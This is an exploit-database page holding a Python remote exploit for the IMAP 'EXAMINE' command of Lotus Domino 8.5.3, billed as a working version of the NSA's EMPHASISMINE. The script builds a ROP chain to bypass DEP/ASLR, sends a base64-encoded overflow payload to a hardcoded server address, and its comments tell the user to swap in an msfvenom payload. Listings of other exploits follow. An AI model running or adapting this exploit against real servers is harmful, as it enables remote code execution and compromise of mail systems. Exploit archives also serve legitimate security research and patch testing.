Search for hundreds of thousands of exploits

"Lotus Domino 8.5.3 - 'EXAMINE' Stack Buffer Overflow DEP/ASLR Bypass (NSA's EMPHASISMINE)"

Author

Exploit author

"Charles Truscott"

Platform

Exploit platform

windows

Release date

Exploit published date

2019-05-08

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
##########################################################
#							  #
# Here is a working version of the NSA's EMPHASISMINE     #
# for IMAP Server Lotus Domino 8.5.3 FP0		  #
#        DEP/ASLR bypass				  #
#							  #
# Replace breakpoints with msfvenom payload   		  #
#	(ALPHANUMERIC)					  #
# I love you Alison Thompson OAM @ThirdWaveORG            #
# Author: Charles Truscott @r0ss1n1			  #
#							  #
###########################################################


import base64
import struct
import socket
import time

rop_and_roll = struct.pack('<I', 0x00433212)  # POP ECX # RETN [nIMAP.EXE]
rop_and_roll += struct.pack('<I', 0x41414141)  # Filler
rop_and_roll += struct.pack('<I', 0x7c37a140)  # ptr to &VirtualProtect() [IAT MSVCR71.dll]
rop_and_roll += struct.pack('<I', 0x60609925)  # MOV EAX,DWORD PTR DS:[ECX] # RETN [nnotes.dll]
rop_and_roll += struct.pack('<I', 0x60b79a61)  # XCHG EAX,ESI # RETN [nnotes.dll]
rop_and_roll += struct.pack('<I', 0x62450fc4)  # POP EBP # RETN [NLSCCSTR.DLL]
rop_and_roll += struct.pack('<I', 0x7c345c30)  # & push esp # ret  [MSVCR71.dll]
rop_and_roll += struct.pack('<I', 0x60165ba9)  # POP EBX # RETN [nnotes.dll]
rop_and_roll += struct.pack('<I', 0x00000001)  # 0x00000001-> ebx
rop_and_roll += struct.pack('<I', 0x6020962e)  # POP EDX # RETN [nnotes.dll]
rop_and_roll += struct.pack('<I', 0x00001000)  # 0x00001000-> edx
rop_and_roll += struct.pack('<I', 0x60e81a98)  # POP ECX # RETN [nnotes.dll]
rop_and_roll += struct.pack('<I', 0x00000040)  # 0x00000040-> ecx
rop_and_roll += struct.pack('<I', 0x606609f9)  # POP EDI # RETN [nnotes.dll]
rop_and_roll += struct.pack('<I', 0x62136802)  # RETN (ROP NOP) [nxmlproc.dll]
rop_and_roll += struct.pack('<I', 0x0042ba51)  # POP EAX # RETN [nIMAP.EXE]
rop_and_roll += struct.pack('<I', 0x90909090)  # nop
rop_and_roll += struct.pack('<I', 0x60505637)  # PUSHAD # RETN [nnotes.dll]


username = "user"

password = "pass"

login=". LOGIN " + " " +  '"' + username + '"' +  " " + '"' +  password + '"' +  "\r\n"


payload = "\x90" * 556 + rop_and_roll + "\x90" * 20 + "\xCC" * (1500 - 556 - len(rop_and_roll) - 20)
encoded = base64.b64encode(payload)

crash = ". EXAMINE " + "&" + encoded + "\x0d\x0a"

print crash
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(('172.16.65.128', 143))
time.sleep(3)
connectionresponse = expl.recv(1024)
print str(connectionresponse)
print "sending LOGIN request"
expl.send(login)
loginresponse = expl.recv(1024)
print str(loginresponse)
print "sending EXAMINE request"
print crash
expl.send(crash)
crashresponse = expl.recv(1024)
print str(crashresponse)
expl.close
Release DateTitleTypePlatformAuthor
2020-05-25"Plesk/myLittleAdmin - ViewState .NET Deserialization (Metasploit)"remotewindowsMetasploit
2020-05-25"GoldWave - Buffer Overflow (SEH Unicode)"localwindows"Andy Bowden"
2020-05-22"VUPlayer 2.49 .m3u - Local Buffer Overflow (DEP_ASLR)"localwindowsGobinathan
2020-05-22"Konica Minolta FTP Utility 1.0 - 'LIST' Denial of Service (PoC)"doswindowsSocket_0x03
2020-05-22"Konica Minolta FTP Utility 1.0 - 'NLST' Denial of Service (PoC)"doswindowsSocket_0x03
2020-05-22"Filetto 1.0 - 'FEAT' Denial of Service (PoC)"doswindowsSocket_0x03
2020-05-22"Druva inSync Windows Client 6.6.3 - Local Privilege Escalation"localwindows"Matteo Malvica"
2020-05-21"CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR)"localwindows"Xenofon Vassilakopoulos"
2020-05-21"AbsoluteTelnet 11.21 - 'Username' Denial of Service (PoC)"doswindows"Xenofon Vassilakopoulos"
2020-05-14"Dameware Remote Support 12.1.1.273 - Buffer Overflow (SEH)"localwindowsgurbanli
Release DateTitleTypePlatformAuthor
2019-07-05"Microsoft Exchange 2003 - base64-MIME Remote Code Execution"remotewindows"Charles Truscott"
2019-05-08"Lotus Domino 8.5.3 - 'EXAMINE' Stack Buffer Overflow DEP/ASLR Bypass (NSA's EMPHASISMINE)"remotewindows"Charles Truscott"
2018-10-30"R 3.4.4 (Windows 10 x64) - Buffer Overflow (DEP/ASLR Bypass)"localwindows"Charles Truscott"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46808/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.